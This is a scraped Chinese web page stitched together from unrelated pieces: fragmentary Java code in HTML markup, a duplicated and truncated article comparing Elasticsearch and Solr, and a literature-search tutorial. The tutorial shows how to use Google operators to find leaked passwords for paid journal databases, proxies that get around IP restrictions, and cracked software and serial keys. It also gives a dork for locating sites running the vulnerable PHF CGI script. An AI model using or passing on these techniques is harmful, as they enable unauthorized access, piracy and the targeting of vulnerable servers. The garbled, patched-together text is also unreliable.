!important;overflow-wrap: break-word !important;" /> fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public static void main(String[] args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //通过main方法来实现整个制作索引的过程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> Parser parser=new Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
--- EOF ---
全文搜索引擎 ElasticSearch 还是 Solr?
网站优化 • 优采云 发表了文章 • 0 个评论 • 56 次浏览 • 2022-05-27 20:41
前言
最近项目组安排了一个任务,项目中用到了基于 Solr 的全文搜索,但是该 Solr 搜索云项目不稳定,经常查询不出来数据,需要手动全量同步。
而且它还是其他团队在维护,依赖性太强,导致 Solr 服务一出问题,我们的项目也基本瘫痪,因为所有的依赖查询都无结果数据了。
所以考虑开发一个适配层,如果 Solr 搜索出问题,自动切换到新的搜索 ES。其实可以通过 Solr 集群或者服务容错等设计来解决该问题。
但是先不考虑本身设计的合理性,领导需要开发,所以我开始踏上了搭建 ES 服务的道路,从零开始,因为之前完全没接触过 ES,所以通过本系列来记录下自己的开发过程。
本篇文章的总体内容大致如下图:
由 ReyCG 精心绘制并提供
什么是全文搜索引擎?
百度百科中的定义:
全文搜索引擎是目前广泛应用的主流搜索引擎。它的工作原理是计算机索引程序通过扫描文章中的每一个词,对每一个词建立一个索引,指明该词在文章中出现的次数和位置,当用户查询时,检索程序就根据事先建立的索引进行查找,并将查找的结果反馈给用户的检索方式。这个过程类似于通过字典中的检索字表查字的过程。
从定义中我们已经可以大致了解全文检索的思路了,为了更详细的说明,我们先从生活中的数据说起。
我们生活中的数据总体分为两种:
当然有的地方还会有第三种:半结构化数据,如 XML,HTML 等,当根据需要可按结构化数据来处理,也可抽取出纯文本按非结构化数据来处理。
根据两种数据分类,搜索也相应的分为两种:结构化数据搜索和非结构化数据搜索。
对于结构化数据,我们一般都是可以通过关系型数据库(MySQL,Oracle 等)的 table 的方式存储和搜索,也可以建立索引。
对于非结构化数据,也即对全文数据的搜索主要有两种方法:
顺序扫描:通过文字名称也可了解到它的大概搜索方式,即按照顺序扫描的方式查询特定的关键字。
例如给你一张报纸,让你找到该报纸中“RNG”的文字在哪些地方出现过。你肯定需要从头到尾把报纸阅读扫描一遍,然后标记出关键字在哪些版块出现过以及它的出现位置。
这种方式无疑是最耗时的最低效的,如果报纸排版字体小,而且版块较多甚至有多份报纸,等你扫描完你的眼睛也差不多了。
全文检索:对非结构化数据顺序扫描很慢,我们是否可以进行优化?把我们的非结构化数据想办法弄得有一定结构不就行了吗?
将非结构化数据中的一部分信息提取出来,重新组织,使其变得有一定结构,然后对此有一定结构的数据进行搜索,从而达到搜索相对较快的目的。
这种方式就构成了全文检索的基本思路。这部分从非结构化数据中提取出的然后重新组织的信息,我们称之索引。
还以读报纸为例,我们想关注英雄联盟 S8 全球总决赛的新闻,假如都是 RNG 的粉丝,如何快速找到 RNG 新闻的报纸和版块呢?
全文检索的方式就是,将所有报纸中所有版块中关键字进行提取,如"EDG","RNG","FW","战队","英雄联盟"等。
然后对这些关键字建立索引,通过索引我们就可以对应到该关键词出现的报纸和版块。注意区别目录搜索引擎。
为什么要用全文搜索搜索引擎
之前,有同事问我,为什么要用搜索引擎?我们的所有数据在数据库里面都有,而且 Oracle、SQL Server 等数据库里也能提供查询检索或者聚类分析功能,直接通过数据库查询不就可以了吗?
确实,我们大部分的查询功能都可以通过数据库查询获得,如果查询效率低下,还可以通过建数据库索引,优化 SQL 等方式提升效率,甚至通过引入缓存来加快数据的返回速度。
如果数据量更大,就可以分库分表来分担查询压力。那为什么还要全文搜索引擎呢?我们主要从以下几个原因分析:
数据类型
全文索引搜索支持非结构化数据的搜索,可以更好地快速搜索大量存在的任何单词或单词组的非结构化文本。
例如 Google,百度类的网站搜索,它们都是根据网页中的关键字生成索引,我们在搜索的时候输入关键字,它们会将该关键字即索引匹配到的所有网页返回;还有常见的项目中应用日志的搜索等等。
对于这些非结构化的数据文本,关系型数据库搜索不是能很好的支持。
索引的维护
一般传统数据库,全文检索都实现的很鸡肋,因为一般也没人用数据库存文本字段。
进行全文检索需要扫描整个表,如果数据量大的话即使对 SQL 的语法优化,也收效甚微。
建立了索引,但是维护起来也很麻烦,对于 insert 和 update 操作都会重新构建索引。
什么时候使用全文搜索引擎:
Lucene,Solr,ElasticSearch ?
现在主流的搜索引擎大概就是:Lucene,Solr,ElasticSearch。
它们的索引建立都是根据倒排索引的方式生成索引,何谓倒排索引?
维基百科:倒排索引(英语:Inverted index),也常被称为反向索引、置入档案或反向档案,是一种索引方法,被用来存储在全文搜索下某个单词在一个文档或者一组文档中的存储位置的映射。它是文档检索系统中最常用的数据结构。
Lucene
Lucene 是一个 Java 全文搜索引擎,完全用 Java 编写。Lucene 不是一个完整的应用程序,而是一个代码库和 API,可以很容易地用于向应用程序添加搜索功能。Lucene 通过简单的 API 提供强大的功能:
可扩展的高性能索引:
强大,准确,高效的搜索算法:
跨平台解决方案:
Apache 软件基金会:
Solr
Apache Solr 是一个基于名为 Lucene 的 Java 库构建的开源搜索平台。它以用户友好的方式提供 Apache Lucene 的搜索功能。
作为一个行业参与者已近十年,它是一个成熟的产品,拥有强大而广泛的用户社区。
它提供分布式索引,复制,负载平衡查询以及自动故障转移和恢复。如果它被正确部署然后管理得好,它就能够成为一个高度可靠,可扩展且容错的搜索引擎。
很多互联网巨头,如 Netflix,eBay,Instagram 和亚马逊(CloudSearch)都使用 Solr,因为它能够索引和搜索多个站点。微信搜索公众号:Java项目精选,回复:java 领取资料 。
主要功能列表包括:
ElasticSearch
Elasticsearch 是一个开源(Apache 2 许可证),基于 Apache Lucene 库构建的 RESTful 搜索引擎。
Elasticsearch 是在 Solr 之后几年推出的。它提供了一个分布式,多租户能力的全文搜索引擎,具有 HTTP Web 界面(REST)和无架构 JSON 文档。
Elasticsearch 的官方客户端库提供 Java,Groovy,PHP,Ruby,Perl,Python,.NET 和 Javascript。
分布式搜索引擎包括可以划分为分片的索引,并且每个分片可以具有多个副本。
每个 Elasticsearch 节点都可以有一个或多个分片,其引擎也可以充当协调器,将操作委派给正确的分片。
Elasticsearch 可通过近实时搜索进行扩展。其主要功能之一是多租户。主要功能列表包括:
Elasticsearch vs Solr 的选择
由于 Lucene 的复杂性,一般很少会考虑它作为搜索的第一选择,排除一些公司需要自研搜索框架,底层需要依赖 Lucene。
所以这里我们重点分析哪一个更好?它们有什么不同?你应该使用哪一个?
历史比较
Apache Solr 是一个成熟的项目,拥有庞大而活跃的开发和用户社区,以及 Apache 品牌。
Solr 于 2006 年首次发布到开源,长期以来一直占据着搜索引擎领域,并且是任何需要搜索功能的人的首选引擎。
它的成熟转化为丰富的功能,而不仅仅是简单的文本索引和搜索;如分面,分组,强大的过滤,可插入的文档处理,可插入的搜索链组件,语言检测等。
Solr 在搜索领域占据了多年的主导地位。然后,在 2010 年左右,Elasticsearch 成为市场上的另一种选择。
那时候,它远没有 Solr 那么稳定,没有 Solr 的功能深度,没有思想分享,品牌等等。
Elasticsearch 虽然很年轻,但它也自己的一些优势,Elasticsearch 建立在更现代的原则上,针对更现代的用例,并且是为了更容易处理大型索引和高查询率而构建的。
此外,由于它太年轻,没有社区可以合作,它可以自由地向前推进,而不需要与其他人(用户或开发人员)达成任何共识或合作,向后兼容,或任何其他更成熟的软件通常必须处理。
因此,它在 Solr 之前就公开了一些非常受欢迎的功能(例如,接近实时搜索,英文:Near Real-Time Search)。
从技术上讲,NRT 搜索的能力确实来自 Lucene,它是 Solr 和 Elasticsearch 使用的基础搜索库。
具有讽刺意味的是,因为 Elasticsearch 首先公开了 NRT 搜索,所以人们将 NRT 搜索与 Elasticsearch 联系在一起。
尽管 Solr 和 Lucene 都是同一个 Apache 项目的一部分,但是,人们会首先期望 Solr 具有如此高要求的功能。
特征差异比较
这两个搜索引擎都是流行的,先进的的开源搜索引擎。它们都是围绕核心底层搜索库 Lucene 构建的,但它们又是不同的。
像所有东西一样,每个都有其优点和缺点,根据您的需求和期望,每个都可能更好或更差。
Solr 和 Elasticsearch 都在快速发展,所以,话不多说,先来看下它们的差异清单:
查看全部
全文搜索引擎 ElasticSearch 还是 Solr?
前言
最近项目组安排了一个任务,项目中用到了基于 Solr 的全文搜索,但是该 Solr 搜索云项目不稳定,经常查询不出来数据,需要手动全量同步。
而且它还是其他团队在维护,依赖性太强,导致 Solr 服务一出问题,我们的项目也基本瘫痪,因为所有的依赖查询都无结果数据了。
所以考虑开发一个适配层,如果 Solr 搜索出问题,自动切换到新的搜索 ES。其实可以通过 Solr 集群或者服务容错等设计来解决该问题。
但是先不考虑本身设计的合理性,领导需要开发,所以我开始踏上了搭建 ES 服务的道路,从零开始,因为之前完全没接触过 ES,所以通过本系列来记录下自己的开发过程。
本篇文章的总体内容大致如下图:
由 ReyCG 精心绘制并提供
什么是全文搜索引擎?
百度百科中的定义:
全文搜索引擎是目前广泛应用的主流搜索引擎。它的工作原理是计算机索引程序通过扫描文章中的每一个词,对每一个词建立一个索引,指明该词在文章中出现的次数和位置,当用户查询时,检索程序就根据事先建立的索引进行查找,并将查找的结果反馈给用户的检索方式。这个过程类似于通过字典中的检索字表查字的过程。
从定义中我们已经可以大致了解全文检索的思路了,为了更详细的说明,我们先从生活中的数据说起。
我们生活中的数据总体分为两种:
当然有的地方还会有第三种:半结构化数据,如 XML,HTML 等,当根据需要可按结构化数据来处理,也可抽取出纯文本按非结构化数据来处理。
根据两种数据分类,搜索也相应的分为两种:结构化数据搜索和非结构化数据搜索。
对于结构化数据,我们一般都是可以通过关系型数据库(MySQL,Oracle 等)的 table 的方式存储和搜索,也可以建立索引。
对于非结构化数据,也即对全文数据的搜索主要有两种方法:
顺序扫描:通过文字名称也可了解到它的大概搜索方式,即按照顺序扫描的方式查询特定的关键字。
例如给你一张报纸,让你找到该报纸中“RNG”的文字在哪些地方出现过。你肯定需要从头到尾把报纸阅读扫描一遍,然后标记出关键字在哪些版块出现过以及它的出现位置。
这种方式无疑是最耗时的最低效的,如果报纸排版字体小,而且版块较多甚至有多份报纸,等你扫描完你的眼睛也差不多了。
全文检索:对非结构化数据顺序扫描很慢,我们是否可以进行优化?把我们的非结构化数据想办法弄得有一定结构不就行了吗?
将非结构化数据中的一部分信息提取出来,重新组织,使其变得有一定结构,然后对此有一定结构的数据进行搜索,从而达到搜索相对较快的目的。
这种方式就构成了全文检索的基本思路。这部分从非结构化数据中提取出的然后重新组织的信息,我们称之索引。
还以读报纸为例,我们想关注英雄联盟 S8 全球总决赛的新闻,假如都是 RNG 的粉丝,如何快速找到 RNG 新闻的报纸和版块呢?
全文检索的方式就是,将所有报纸中所有版块中关键字进行提取,如"EDG","RNG","FW","战队","英雄联盟"等。
然后对这些关键字建立索引,通过索引我们就可以对应到该关键词出现的报纸和版块。注意区别目录搜索引擎。
为什么要用全文搜索搜索引擎
之前,有同事问我,为什么要用搜索引擎?我们的所有数据在数据库里面都有,而且 Oracle、SQL Server 等数据库里也能提供查询检索或者聚类分析功能,直接通过数据库查询不就可以了吗?
确实,我们大部分的查询功能都可以通过数据库查询获得,如果查询效率低下,还可以通过建数据库索引,优化 SQL 等方式提升效率,甚至通过引入缓存来加快数据的返回速度。
如果数据量更大,就可以分库分表来分担查询压力。那为什么还要全文搜索引擎呢?我们主要从以下几个原因分析:
数据类型
全文索引搜索支持非结构化数据的搜索,可以更好地快速搜索大量存在的任何单词或单词组的非结构化文本。
例如 Google,百度类的网站搜索,它们都是根据网页中的关键字生成索引,我们在搜索的时候输入关键字,它们会将该关键字即索引匹配到的所有网页返回;还有常见的项目中应用日志的搜索等等。
对于这些非结构化的数据文本,关系型数据库搜索不是能很好的支持。
索引的维护
一般传统数据库,全文检索都实现的很鸡肋,因为一般也没人用数据库存文本字段。
进行全文检索需要扫描整个表,如果数据量大的话即使对 SQL 的语法优化,也收效甚微。
建立了索引,但是维护起来也很麻烦,对于 insert 和 update 操作都会重新构建索引。
什么时候使用全文搜索引擎:
Lucene,Solr,ElasticSearch ?
现在主流的搜索引擎大概就是:Lucene,Solr,ElasticSearch。
它们的索引建立都是根据倒排索引的方式生成索引,何谓倒排索引?
维基百科:倒排索引(英语:Inverted index),也常被称为反向索引、置入档案或反向档案,是一种索引方法,被用来存储在全文搜索下某个单词在一个文档或者一组文档中的存储位置的映射。它是文档检索系统中最常用的数据结构。
Lucene
Lucene 是一个 Java 全文搜索引擎,完全用 Java 编写。Lucene 不是一个完整的应用程序,而是一个代码库和 API,可以很容易地用于向应用程序添加搜索功能。Lucene 通过简单的 API 提供强大的功能:
可扩展的高性能索引:
强大,准确,高效的搜索算法:
跨平台解决方案:
Apache 软件基金会:
Solr
Apache Solr 是一个基于名为 Lucene 的 Java 库构建的开源搜索平台。它以用户友好的方式提供 Apache Lucene 的搜索功能。
作为一个行业参与者已近十年,它是一个成熟的产品,拥有强大而广泛的用户社区。
它提供分布式索引,复制,负载平衡查询以及自动故障转移和恢复。如果它被正确部署然后管理得好,它就能够成为一个高度可靠,可扩展且容错的搜索引擎。
很多互联网巨头,如 Netflix,eBay,Instagram 和亚马逊(CloudSearch)都使用 Solr,因为它能够索引和搜索多个站点。微信搜索公众号:Java项目精选,回复:java 领取资料 。
主要功能列表包括:
ElasticSearch
Elasticsearch 是一个开源(Apache 2 许可证),基于 Apache Lucene 库构建的 RESTful 搜索引擎。
Elasticsearch 是在 Solr 之后几年推出的。它提供了一个分布式,多租户能力的全文搜索引擎,具有 HTTP Web 界面(REST)和无架构 JSON 文档。
Elasticsearch 的官方客户端库提供 Java,Groovy,PHP,Ruby,Perl,Python,.NET 和 Javascript。
分布式搜索引擎包括可以划分为分片的索引,并且每个分片可以具有多个副本。
每个 Elasticsearch 节点都可以有一个或多个分片,其引擎也可以充当协调器,将操作委派给正确的分片。
Elasticsearch 可通过近实时搜索进行扩展。其主要功能之一是多租户。主要功能列表包括:
Elasticsearch vs Solr 的选择
由于 Lucene 的复杂性,一般很少会考虑它作为搜索的第一选择,排除一些公司需要自研搜索框架,底层需要依赖 Lucene。
所以这里我们重点分析哪一个更好?它们有什么不同?你应该使用哪一个?
历史比较
Apache Solr 是一个成熟的项目,拥有庞大而活跃的开发和用户社区,以及 Apache 品牌。
Solr 于 2006 年首次发布到开源,长期以来一直占据着搜索引擎领域,并且是任何需要搜索功能的人的首选引擎。
它的成熟转化为丰富的功能,而不仅仅是简单的文本索引和搜索;如分面,分组,强大的过滤,可插入的文档处理,可插入的搜索链组件,语言检测等。
Solr 在搜索领域占据了多年的主导地位。然后,在 2010 年左右,Elasticsearch 成为市场上的另一种选择。
那时候,它远没有 Solr 那么稳定,没有 Solr 的功能深度,没有思想分享,品牌等等。
Elasticsearch 虽然很年轻,但它也自己的一些优势,Elasticsearch 建立在更现代的原则上,针对更现代的用例,并且是为了更容易处理大型索引和高查询率而构建的。
此外,由于它太年轻,没有社区可以合作,它可以自由地向前推进,而不需要与其他人(用户或开发人员)达成任何共识或合作,向后兼容,或任何其他更成熟的软件通常必须处理。
因此,它在 Solr 之前就公开了一些非常受欢迎的功能(例如,接近实时搜索,英文:Near Real-Time Search)。
从技术上讲,NRT 搜索的能力确实来自 Lucene,它是 Solr 和 Elasticsearch 使用的基础搜索库。
具有讽刺意味的是,因为 Elasticsearch 首先公开了 NRT 搜索,所以人们将 NRT 搜索与 Elasticsearch 联系在一起。
尽管 Solr 和 Lucene 都是同一个 Apache 项目的一部分,但是,人们会首先期望 Solr 具有如此高要求的功能。
特征差异比较
这两个搜索引擎都是流行的,先进的的开源搜索引擎。它们都是围绕核心底层搜索库 Lucene 构建的,但它们又是不同的。
像所有东西一样,每个都有其优点和缺点,根据您的需求和期望,每个都可能更好或更差。
Solr 和 Elasticsearch 都在快速发展,所以,话不多说,先来看下它们的差异清单:
你想要的文献搜索方法都在这里
网站优化 • 优采云 发表了文章 • 0 个评论 • 455 次浏览 • 2022-05-23 07:47
2、很时候我们可以下载下来,但以上面说的那种方法进行回推时,常常会出现"Forbidden"的页面,这是很多网站都存在的bug。
要解决个问题就需要利用这个bug和靠你对所查找的内容比较熟悉。就举一个简单的例子:google里检索"molecular biology of the gene"时
... 0211/Chapter209.ppt这时我只是对最后面的"209"进行简单的更改为"201-220"就可以得到这本书完整的ppt文件。还有的最后面是出现字母,可对相应的字母进行修改即可,最难的是要对文件名进行修改,这就需要比较扎实的专业基础。
3、不要瞧不起中文艺工作者网站。以英文作为关键词进行搜索时英文网站总是出现在最前面,而等看到中文网站时都已经失去了耐心,我们有时候可搜索中文网站,往往会得到很多意想不到的东西。特别是我们隔岸相往的同胞做的ppt也是相当的漂亮!
4、放宽检索范围。
5、我们最后要解决的是下载问题。很网站提供很多下载链接,下载速度一般只有3、5kb, 最糟的只有几百字节。而一般的网页只能同时对两个文件进行下载。解决的方法是重新打开IE然后在新的窗口打开链接,有一次我同时打开十几个窗口进行下载,很快就把所有的内容下载下来。这种下载方法要慎用,这很容易造成对网站的恶意下载。
6、很多网站提供ppt下载的时候也同时提供动画在线观,看着这么多的漂亮东东却无法下载。不是很可惜吗?有关这方面的内容wfj2000在其它帖子已提到过我就不说了。
恳请各位高手对我提出宝贵意见。
四、Bioon全心奉献的系列检索讲座
注意:本讲座中的方法适用于生物与医学的免费全文的文献检索,以及网上各种有用的资料的搜索(幻灯片,各种讲座资料,电子书等),通过使用这些技巧并与著名搜索引擎google(,中文的多使用百度配合使用,以下所有内容都是基于这两个搜索引擎讲解的,更多的讲座见论坛中检索技巧版( )
第一讲:关键词的选择技巧.
推荐先读读google从入门到精通等论文(请注册后再登录)
( ... ;ID=2997&skin=1)
我们了解常规搜索方式,但每个人都会搜索出不同结果,为什么?核心问题在于关键词选择不同。
关键的分析必须保证两点:
一是专业性,即这个词是很精的,可能简化你的搜索结果,因而词甚至可以怪一点,尽量避免大众化的词,如net,site等。即使需要大众化词,如password,username,但若加入一两个特征词,则结果将大大简化。
二是具有代表性,也即这个词具有代表意义,也即它在包含你所需网页内,它在出现的可能,以免一些有用信息被遗漏。
如何达到上述两个要求?我们必须分析网页中字词出现的特点,以及本学科专业词汇特征。
大家看看yahoo,google等medicine和science--biology条目下的分类,发现许多相关的词均在内,如
医学有关的都在Science & Technology 大条目下,又细分为:
Agriculture & Food | Biology | Botany | Chemistry | Computer Science | Enginee
ring | Environmental Dynamics | Geology | Kinesiology | Mathematics | Medicine
| Nursing | Physics | Psychology | Statistics | Zoology。
因此如果仅以medicine检索,就会漏掉不少很有价值的信息,特别是漏掉的专业的。
其次,在medicine下又有很多数据库,如:EBSCO OVID,PROQUEST还有各大出版社自己的万能密码。
大家应该明白一些了吧。
第二讲:主要讲定点搜索和遍搜索的区别及应用。
所谓定点搜索,即指定找某个数据库相关信息,或某篇论文。
遍搜索是指在网上任意逛逛,找些pswd,或者无心插柳柳成荫。
(1)定点数据库和期刊搜索。还是同第一讲一样,主要分析关键词的选择。当然关键词之一是这个数据库的名称。大家注意了:数据库名称一定要用全称和简称都试试。
关键词之二是free,ID,password,user name。
为什么这个关键词?其实这些只能称作是一个关键词,因为它们具有同性或不相容性。如elservier数据库,你最好不要用username和password,因为它主要是采用IP限制的。因而你的重点放在pxory!而不是上述的任何一个。而找某一杂志,则多用user name 和ID/pas
sword合用(注:ID/password只可用一个!),因为杂志往往个人购买,便拥有帐号了。
关键词三:这些数据库可能出现的地方?大学图书馆最多!即使是杂志,图书馆也较个人帐号多。那么图书馆主页上有哪些关键词?library,database,trial,free....,可看看国内一些图书馆的主页,仔细分析比较,便能找到一些共性的东西。
(2)定点论文搜索。
论文,在国外通用PDF格式,因而论文搜索必须用PDF这个核心内容。即找后缀为PDF的东东,语法:filetype DF 这是关键之一
关键词之二:找你所需论文的题或文摘中最怪的词!而不是常用词。(不要用很专业的词往往能找到相近的论文,所谓无心插柳了)
命中率高,但最好是题目中出现的词,为什么?因为往往许多个人站点收录了不少论文,而这些论文往往是以题目名称作为索引的。
第三讲 实战演习-----专业文献搜索技巧。
专业文献与普通文献不同,很难查到。这是本人长期搜索的技巧,十分有效,查专业文献实在好!
1. 查找某本专业刊物的登录密码,如Brain Res
首先选关键词:杂志名(Brain Res),登录(sign in),密码(password)
这样成功率并不高,其实细细看来,不应有登录,因为许多提供密码的地方,并不出现登录这个词,而多出现用户名(user name),而且杂志名多用全称(brain research),再试试
!哦,成功了!
2. 查找某篇论文的全文,尤其是外文文献,许多全文服务均需收费。
当然可先按第一种方法搜索一下,看看有无密码可寻,若无,则找到该篇论文的特殊字段(key words),然后搜索PDF文件。不过这有几个条件,一是该杂志确已上网,有明确地址 ,其二,一般需在1997年以后文献才可。
举例:Gattullo D, Pagliaro P, Marsh NA, Losano G。New insights into nitric oxide and coronary circulation.Life Sci 1999;65(21):2167-74。
这篇论文是收费的。采用:inurldf:Gattullo Pagliaro coronary,结果24项,找到其中的第2页,有下面一项Life Sciences [Volume 65, Issue 21, Pages 2167-2268 (1999)]
... 1. New Insights into Nitric Oxide and Coronary Circulation, Pages 2167-2174 D. Gattullo, P. Pagliaro, NA Marsh and G. Losano 2. ...
147.46.94.112/journal/sej/j_l/l339.htm - 14k - 网页快照 - 类似网页
打开网页快照,第一篇即是其目录,下载即可!OK!成功
3. 查找专业软件的破解软件或注册码
常规软件的注册码很好找,但专业软件太少,而且注册码也少,破解更少,如何找?
如找origin 6.1版的破解版,或注册码。不管采用网易、搜狐等软件搜索,均找不到该软件。那么只好借用特殊搜索了。
分析:一般有些破解软件的页面一般至少有以下一些信息:软件名称,版本,序列号(serial number, OR sn),破解(crack, OR CRK),提供下载的地方有.ZIP字样(压缩文件为多
)。为了方便起见,也防止版本太精确反而不易搜索的特点,在googlek 输入origin 破解, 哦!OK!成功!如果其它的软件一次搜索的结果太多的话,则考虑加6.1以减小其搜索范围。或搜索结果太少且不是需要的话,将破解换为"注册码"试试,一般效果不错。
4. 查找中文文献的免费全文如我知道重庆维普提供免费全文服务,但目前许多站点都不能用了。另外,还有万方数据库、CNKI也提供,那么我如何查到这些数据库的免费入口呢?
这需要一定的技巧,采用google或百度试试:输入:重庆维普 密码哦!66项!仔细找一找,必有结果!OK!
第四讲 百度与google比较 。
大家好,这一讲讲百度与google比较
搜索英文不必说用google,搜索中文呢?
很多人并不了解它们更新的情况,google发展早,因而它贮存了大量旧的信息,百度发展迟,信息较新。
更新速度:对中文google一般半月至一月一更新,而且仅搜索到三级链接,三级以下便不在搜索,那么我如何看到最新的google搜索的结果呢?这个站点:,可见google采用不同服务器逐步更新的。百度的更新较快,半月一次,最快一周。那么如何衡梁这半月与一月的差剧与价值?
对于一些试用数据库,有效期短,或象万方等一月一换密码,最好选用百度,现在维普老是打一枪换一个地方,因而也只好用百度了,google往往搜索出来的结果已过期了。而能长期使用的密码或数据库,一般象国外的(国内有没有,我真不知道),最好用google,
毕竟技术更老道一些,搜索出的结果更多,更广!
第五讲 补充讲一点关键词的选择。
关于关键词,最近看到高手huangwei98 公布的一些关键词,很值得参考。但总之一句话,
高手=技巧+时间,有时多看看,往往获得其它的密码,这是太正常的事了。
关键词组合:
nurse journal password
new medicine password
What's New medicine password
périodiques électroniques password( 注意了,不是英文字母样!)
biomedical library password
LWW Journal Collection password
Bibliotekets databaser password
Kluwer Online password
journalwebsite password
基本路子仍是数据库+password+补充性关键词(或称定向性关键词)
所谓定向性关键词是将你的检索范围定于某一可能的区域,如图书馆、个人站点,以缩小检索范围。如单个杂志,可定位于个人,若是数据库检索,则宜加library,因为个人是不会买数据库的。同时另一个定向是生物和医学,所用的关键词medicine,biology,biomed.
当然仍可加第三定向关键词,如杂志(journal)、免费(free)、在线(online),但一定要注意第三关键词的特征性不强,要选择使用,不可过用,否则会将一大批可能有用的站点排除掉,切记!
但这主要针对国外的,而国内的一般多在各大学图书馆内,常用密码、免费、杂志、数据库名等搜索,效果较好。
但对于有些杂志,如sciencedirect,Ideallibrary多采用IP验证方式,一般密码并不能用,这时多采用代理服务器方式,因而如何找到有效的代理太重要的。如清华的elsevier便是代理。下下一讲讲如何找代理。
第六讲 关键词联合使用。
国内图书馆提到数据库往往只提***数据库,而国外图书馆多列出该数据库内各种杂志名,而且多按字母分类。因而为了提高检索的准确率,一般将同一数据库内的杂志的首字母相同的杂志名用两到三个联合搜索,再结合前面讲的加用其它关键词,能有效缩小检索范围
,翕中率极高。从这里可以看到,如果透彻分析一些图书馆内主页设计的特征,是搜索的关键。
如检索brain research,可列出brain research bulltin,同时检索,效果要好些。
第七讲 搜索公开的代理服务器技巧。
中文:
代理 维普(或其它数据库名) 数据库,能找到一些,但国内一般真正使用代理的较少。
英文:
proxy 数据库名 IE netscape
效果非常好,但一定要注意,许多地方不仅用代理服务器,而且需密码认证,不可过于乐观!应认真鉴别。
第八讲。先插几句废话,本论坛的目的是培养真正懂得搜索技巧的人员,当然搜索技巧不只是密码之类,还应包括检索常用文件,pubmed等,这也是水平和本领,切不可以找密码为乐。我们应该培养全方位的文献检索能力,否则即使有密码,也未必找到自己所需的信息,网海茫茫,有用者若斯!
现在进入正题,今天讲百度和google语法,其实这在从google入门到精通中都有所阐述这是重提,以示重视,并无太多的新意,只是将大理论与实际相结合起来。
找特定文件名的文件,尤其是PDF、ZIP、swf、DOC、TXT、RAR、EXE、RM、Mp3,MOV,PPT这些文件名都是网友想找的重点,至于各是什么类型文件,请上网查一下便知道了,这里不多说了。尤其老板让你做个powerpoint,找不到图怎么办?用google去搜索。
方法是利用语法filetype:后缀名。
如找PDF文件,在正常关键词后面加filetype DF即可,搜索结果全是PDF文件。这是我写的另一篇,可参考:
... p;ID=839&page=1
找特定题目的网页语法intitle:网站
查找友情链接:
"link:"(英文单字link后加冒号)用于搜索链接到某个URL地址的网页。可以了解有哪些网页把链接指向您的网页查找特定站点:
site:*.com
如 金庸 古龙 site:
但不可加入或/这类,否则是错的。
"cache"用来搜索GOOGLE服务器上某页面的缓存,通常用于查找某些已经被删除的死链接网页,相当于使用普通搜索结果页面中的"网页快照"功能。
示例:查找GOOGLE缓存的中文yahoo首页
搜索:"cache:"
info用来显示与某链接相关的一系列搜索,提供cache、link、related和完全包含该链接的网页的功能。
示例:查找和新浪首页相关的一些资讯。
搜索:"info:"
结果:有的网页信息。
示例:查找美国教育网上的宇宙大爆炸jpg图片
搜索:"BIG BANG filetype:jpg site:edu"
结果:搜索有关 BIG BANG filetype:jpg site:edu 的图片
第九讲,专讲一个特殊语法,很有用:inurl。
"inurl"语法返回的网页链接中包含第一个关键字,后面的关键字则出现在链接中或者网页文档中。有很多网站把某一类具有相同属性的资源名称显示在目录名称或者网页名称中,比如"MP3"、"GALLARY"等,于是,就可以用INURL语法找到这些相关资源链接,然后
,用第二个关键词确定是否有某项具体资料。INURL语法和基本搜索语法的最大区别在于,前者通常能提供非常精确的专题资料。
示例:查找MIDI曲"沧海一声笑"。
搜索:"inurl:midi 沧海一声笑"
结果:已搜索有关inurl:midi 沧海一声笑的中文(简体)网页。
示例:查找微软网站上关于windows2000的安全课题资料。
搜索:"inurl:security windows2000 site:"
结果:已在内搜索有关inurlecurity windows2000 的网页。
注意:"inurl:"后面不能有空格,GOOGLE也不对URL符号如"/"进行搜索。例如,GOOGLE会把"cgi-bin/phf"中的"/"当成空格处理。
而一般众多密码或数据库往往出现在链接之中,如查Ideallibrary
inurl:ideallibrary proxy passowrd(ID)
"allinurl"语法返回的网页的链接中包含所有作用关键字。这个查询的关键字只集中于网页的链接字符串。
示例:查找可能具有PHF安全漏洞的公司网站。通常这些网站的CGI-BIN目录中含有PHF脚本程序(这个脚本是不安全的),表现在链接中就是"域名/cgi-bin/phf"。
语法:"allinurl:"cgi-bin" phf +com"
搜索:已向英特网搜索allinurl:"cgi-bin" phf +com. 共约有37项查询结果,这是第1-10项 。搜索用时0.36秒
补充讲site语法
site即将搜索定位于某一个域名上,有利于缩小搜索范围,提高搜索效率 。如keywords site:edu,效果很好!可以方便地搜索到各大学内有用的资源,至于关键词的选择,其它讲都有了。
site:tw, site:edu.tw, site: .......
这是定位于国家或地区,将搜索局限于某些国家或地区,或加上edu,则是这些国家或地区的大学,效果自然更好。如果site:则搜索国内医科大学内的资源(会漏综合性大学的资源的,要慎用)。
一般的,欧美人的版权意识强,一般密码不易公布,相反,非洲、美洲、亚洲则往往公开密码,这是获得密码的最重要来源之一,善于利用这些地方的资源有助于提高搜索效率。这是site两大好处,不可忽视!
也许您正为文章烦恼,一篇论文完成耗时数月,而在发表时却是坎坷万千。
我们提供以下指导和服务:
评估服务、翻译、润色服务、文章综合编辑服务、SCI论文降重、文章校对等SCI论文服务。
识别二维码即可咨询
尚辑Sagesci ● SCI论文服务品牌
查看全部
你想要的文献搜索方法都在这里
2、很时候我们可以下载下来,但以上面说的那种方法进行回推时,常常会出现"Forbidden"的页面,这是很多网站都存在的bug。
要解决个问题就需要利用这个bug和靠你对所查找的内容比较熟悉。就举一个简单的例子:google里检索"molecular biology of the gene"时
... 0211/Chapter209.ppt这时我只是对最后面的"209"进行简单的更改为"201-220"就可以得到这本书完整的ppt文件。还有的最后面是出现字母,可对相应的字母进行修改即可,最难的是要对文件名进行修改,这就需要比较扎实的专业基础。
